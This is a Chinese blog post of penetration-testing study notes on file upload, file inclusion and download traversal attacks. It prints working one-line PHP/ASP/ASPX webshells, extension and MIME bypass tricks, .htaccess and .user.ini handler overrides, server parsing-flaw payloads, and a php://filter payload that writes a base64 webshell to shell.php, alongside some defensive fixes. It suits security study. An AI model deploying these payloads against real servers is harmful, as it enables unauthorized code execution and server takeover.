文件上传笔记整理

news2025/1/11 11:18:39
  • 文件上传

    • web渗透的核心,内网渗透的基础
    • 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
  • 成功条件

    • 文件成功上传到对方的服务器(躲过杀软)
    • 知道文件上传的具体路径
    • 上传的文件可以执行成功
  • 文件上传的流程

    • 前端JS对上传文件进行检测(文件类型)
    • 服务器端MIME类型(文件类型)检测
    • 服务器端目录路径检测
    • 服务器端文件扩展名检测
    • 服务器端文件内容检测
  • 常用的一句话木马

    • php
      • <?php @eval($_GET['cmd']);?>
      • <?php @eval($_POST['cmd']);?>
      • <?php @eval($_REQUEST['cmd']);?>
    • asp
      • <% eval request('cmd') %>
    • aspx
      • <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
  • 文件上传的几种情况

    • 前端JS绕过(验证文件后缀)
      • 浏览器设置禁用JS代码(不执行检测代码)
      • 正常文件上传,BP抓包修改文件后缀
      • F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
      • F12检查页面代码,替换JS文件(检查窗口不能关闭)
    • 后端MIME类型绕过(验证MIME类型)
      • BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
    • 后端文件后缀名验证+文件内容验证
      • 黑名单验证
        • 尝试对文件后缀名进行爆破(所有可执行的后缀名)
        • 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
          • <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
          • SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
        • user.ini文件绕过
          • .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
          • auto_prepend_file=1.png;开头被包含
          • auto_append_file=1.png; 结尾被包含
        • 大小写绕过 .Php .pHp .PhP等
        • 空格绕过 .php ,
        • .绕过 .php.
        • ..绕过 .php.. .php......等
        • /绕过
        • ::$DATA绕过 .php::$DATA
        • 循环验证绕过.pphphp .phtmlhp等
        • unicode编码绕过
        • url编码绕过
      • 白名单验证
        • 路径绕过
          • 文件路径可以操作
            • POST hex下修改00绕过
            • GET %00绕过
          • 对文件路径无验证
        • 文件内容验证
          • 添加图片文件头绕过
          • 二次循环验证(针对文件内容被修改了)
        • 竞争上传(针对先保留再删除的验证逻辑)
        • 逻辑漏洞(代码审计出的逻辑上的漏洞)
          • 通过功能实现逻辑存在漏洞;需要代码审计
      • 解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
        • Nginx
          • 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
            • xxx.jpg%00.php
          • cgi.fix_pathinfo问题
            • 解释:例如/info.jpg/1.php/2.zhide
              • 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
            • 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
              • /1.jpg/1.php
              • /1.jpg%00.php
              • /1.jpg/%20\0.php
          • 解决方式:
            • 设置php.ini中的 cgi.fix_pathinfo=0;
            • 禁止上传目录的执行脚本权限
            • 库站分离
            • 高版本设置security.limit_extensions = .php;限制php文件执行
        • IIS
          • IIS5.x~IIS6.x
            • /xx.asp/xx.jpg
            • xx.asp;.jpg
            • test.asa/ test.cer/ test.cdx/
            • 升级版本,更新补丁
          • IIS7.x
            • 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
            • 可以实现对图片马的直接执行
            • 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
        • Apache
          • 2.4.0~2.4.29
            • $可以匹配\n \r等字符;(换行解析漏洞)

            • php%0a绕过;会当成php进行解析
            • php\x0A绕过;同上
            • 升级apache版本即可避免这个问题
          • 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
            • test.php.php123 (从右往左进行判断解析)
          • Add Handler解析漏洞
            • 如果用户手动设置了.php文件的解析
              • AddHandler php5-script .php
                • test2.php.jpg绕过;后缀存在php就用php进行解析
              • AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
                • 设置的所有后缀都会以php解析
            • 解决方法:默认不手动设置php解析操作
  • 文件包含

    • 本地包含
      • 普通的文件包含;地址为本地地址
    • 远程包含
      • 文件地址为url远程文件地址
    • php伪协议
      • allow_url_fopen默认开启 allow_url_include默认关闭
        • 常用的伪协议示例

      • file:// +文件的绝对路径
        • 使用本地的绝对路径
      • php://
        • 常用
          • php://filter/read=convert.base64-encode/resource=./index
            • 查看源码
            • 参数格式
              • resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
              • read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
              • write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
                • filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
                • 打开文件时对内容进行base64解码然后写入
              • 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
            • 编码类型(过滤器)
          • php://input+POST请求内容(具体内容必须写在POST请求体中)
            • 元数据的只读流;allow_url_include=On时可用
            • 注:当enctype=”multipart/form-data”时,php://input是无效的。
        • php://output
          • 将内容以标准输出的形式写道缓存区
        • php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
      • https/http://+url地址
        • allow_url_include=On;allow_url_open=On;
        • 多用于远程文件包含
      • 压缩流
        • zip://压缩文件绝对路径%23压缩包中文件名
          • 可以直接执行压缩包中的内容
          • %23 #
          • zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
        • compress.bzip2://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • compress.zlib://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • phar://[文件绝对路径|文件相对路径]/[子文件名称]
          • 归档;访问压缩文件中的子文件
      • data://text/plain 具体命令
        • allow_url_fopen=On allow_url_include=On
        • data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
        • 读取文件内容并执行
      • glob://
      • ssh2://
      • rar://
      • ogg://
      • expect://
  • 文件包含防御

    • allow_url_include和allow_url_fopen关闭;
    • 对用户包含的文件进行限制,如白名单、open_basedir;
    • 检查用户输入;
    • 检查变量是否初始化;
    • 关键的过滤在服务器端进行;
  • 文件下载

    • 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
    • 一般都设有文件保护
  • 小技巧

    • WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
    • 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
    • 文件上传绕过步骤(大致思路)
      • 上传正常的图片文件看回显
      • 删除MIME类型看效果
        • 有问题就MIME爆破
        • 没问题再测试后缀
      • 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
        • 黑名单时后缀名爆破
        • 白名单时尝试解析漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1401901.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python_ACM模式《剑指offer刷题》链表1

题目&#xff1a; 面试tips&#xff1a; 询问面试官是否可以改变链表结构 思路&#xff1a; 1. 翻转链表&#xff0c;再遍历链表打印。 2. 想要实现先遍历后输出&#xff0c;即先进后出&#xff0c;因此可借助栈结构。 3. 可用隐式的栈结构&#xff0c;递归来实现。 代码…

数据库(表的基本操作)

目录 1.1 表的基本操作 1.1.1 创建表 1.1.2 表物理存储结构 1.1.3 数据类型 文本类型&#xff1a; 数字类型&#xff1a; 时间/日期类型&#xff1a; 常用的数据类型&#xff1a; 1.1.4 查看表 SHOW 命令 查看表结构&#xff1a; 1.1.5 删除表 查看表结构&#xf…

一份关于Chrome插件开发指北

目前开发v2版本开发教程可看这里 但目前谷歌浏览器强制要v3&#xff0c;本文主要是总结一些v3跟v2的不同。 为什么迁移到清单V3? 正如Chrome的文档所说: 使用MV3的扩展程序将在安全性、隐私性和性能方面得到增强;它们还可以使用MV3中采用的更现代的开放网络技术,如服务人员和…

三、Flask学习之BootSrap

三、Flask学习之BootSrap Bootstrap 是一款由Twitter团队开发的开源前端框架&#xff0c;它以响应式设计、移动端友好和丰富的组件为特色&#xff0c;为开发者提供了快速构建现代化网站和Web应用的工具。借助其灵活的栅格系统、丰富的UI组件和可定制的样式&#xff0c;Bootstr…

实现自己的mini-react

实现自己的mini-react 创建运行环境实现最简单mini-react渲染dom封装创建虚拟dom节点封装函数封装render函数对齐react 调用方式使用 jsx 任务调度器&fiber架构封装一个workLoop方法 统一提交&实现 function component统一提交实现支持 function component 进军 vdom 的…

Python语法进阶——类

Python中的数据类型都属于类。int、str、list都是Python定义好的数据类型类。 print(type(list))#<class type> print(type(list()))#<class list> 一、自定义数据类型 一、语法 class 类名():pass #类名 要求首字母大写 #()可写可省略。 #pass在这里只是用来保证…

一文详解 Berachain 测试网:全面介绍与教程,bitget wallet教程

什么是Berachain&#xff1f; Berachain&#xff08;web3.bitget.com/zh-CN/assets/berachain-wallet&#xff09;是一种尖端区块链技术&#xff0c;使用 Cosmos SDK 构建的 Layer-1&#xff0c;兼容以太坊虚拟机&#xff08;EVM&#xff09;。它基于一种独特的概念&#xff0c…

Docker(九)Docker Buildx

作者主页&#xff1a; 正函数的个人主页 文章收录专栏&#xff1a; Docker 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01; Docker Buildx Docker Buildx 是一个 docker CLI 插件&#xff0c;其扩展了 docker 命令&#xff0c;支持 [Moby BuildKit] 提供的功能。提…

用于垃圾回收的运行时配置选项

反馈 本文内容 指定配置的方法垃圾回收的风格管理资源使用情况大型页面 显示另外 4 个 此页面包含有关 .NET 运行时垃圾回收器 (GC) 设置的信息。 如果你要尝试让正在运行的应用达到最佳性能&#xff0c;请考虑使用这些设置。 然而&#xff0c;在特定情况下&#xff0c;默认…

Linux指令补充和权限简单介绍

一.tar指令 形式&#xff1a;tar [-cxtzjvf] 文件与目录 ....
 参数&#xff1a;
 -c &#xff1a;建立一个压缩文件的参数指令(create 的意思)&#xff1b; -x &#xff1a;解开一个压缩文件的参数指令&#xff01; -t &#xff1a;查看 tarfile 里面的文件&#xff01; -…

Kafka常见指令及监控程序介绍

kafka在流数据、IO削峰上非常有用&#xff0c;以下对于这款程序&#xff0c;做一些常见指令介绍。 下文使用–bootstrap-server 10.0.0.102:9092,10.0.0.103:9092,10.0.0.104:9092 需自行填写各自对应的集群IP和kafka的端口。 该写法 等同 –bootstrap-server localhost:9092 …

2024 前端高频面试题之 JS 篇

JS 篇&#xff08;持续更新中&#xff09; 1、什么是原型、原型链&#xff1f;2、什么是继承&#xff1f;说一说有哪些&#xff1f;继承组合的原理及优点&#xff1f;3、new 操作符具体干了什么&#xff1f;4、js 有哪些方法改变 this 指向&#xff1f;5、bind 有哪些实现的注意…

【C++ | 数据结构】从哈希的概念 到封装C++STL中的unordered系列容器

文章目录 一、unordered系列容器的底层结构 - 哈希1. 哈希概念2. 哈希冲突 二、解决哈希冲突方法一&#xff1a;合理设计哈希函数&#x1f6a9;哈希函数设计原则&#x1f6a9;常见哈希函数 方法二&#xff1a;开闭散列&#x1f6a9;闭散列线性探测法&#xff08;实现&#xff0…

利用Anaconda安装pytorch和paddle深度学习环境+pycharm安装后不能调用pytorch和paddlepaddle框架

问题现象&#xff1a; 之前安装后不能在添加pytorch和paddlepaddle框架 原因&#xff08;疑似&#xff09;&#xff1a; 在终端中显示pytorch和paddle在C盘但是安装是安装在J盘 解决办法&#xff1a; 卸载、删除文件重新安装后可以看到文件位置在J盘中 但是选择时还是显示C…

Tomcat的maxParameterCountmaxPostSize参数

Tomcat的maxParameterCount&maxPostSize参数 Tomcat的maxParameterCount&maxPostSize参数1.问题1.1问题现象1.2 参数总结1.3 问题总结 2 Tomcat官网的解释2.1 到https://tomcat.apache.org/找到文档入口2.2 找到文档的Reference2.3 查看配置文件的参数 3 文档看不明白&…

用的到的linux-Day1

前言&#xff1a; 从入门IT开始我们知道Linux操作系统与其他操作系统不同&#xff0c;Linux因为其独特的优势&#xff0c;被广泛应用在服务器领域&#xff0c;而且是一个近乎完美的操作系统&#xff0c;运行稳定、功能强大、安全性高、开源、可定制等等。 因此我打算从24年开始…

Rocky Linux 9. 3安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

Proxmox VE 8 试装Oracle 23c

作者&#xff1a;田逸&#xff08;formyz&#xff09; Oracle 当前的最新版本是23c&#xff0c;虽然官方网站下载不了它的正式版本&#xff0c;但是却提供了一个性能受限的免费版本“Oracle Database 23.3 Free”&#xff08;存储容量受限、内存使用受限&#xff09;。这里就只…

PLC-IoT 网关开发札记(5):将本地数据库作为资产打包发布到 App

App需求&#xff1a;保存物模型 什么是物模型 在项目开发中&#xff0c;用到了本地数据库&#xff0c;这个本地数据库记录了系统的物模型。所谓物模型就是对某一个设备的可操纵属性的定义&#xff0c;每一个设备包括了一个或者多个属性&#xff0c;通过获取这些属性的当前值可…

【Web实操11】定位实操_照片墙(无序摆放)

设置一个板块&#xff0c;将照片随意无序摆放在墙上&#xff0c;从而形成照片墙。本来效果应该是很唯美好看的&#xff0c;就像这种&#xff0c;但是奈何本人手太笨&#xff0c;只好设置能达到照片墙的效果就可。 代码如下&#xff1a; <!DOCTYPE html> <html lang&…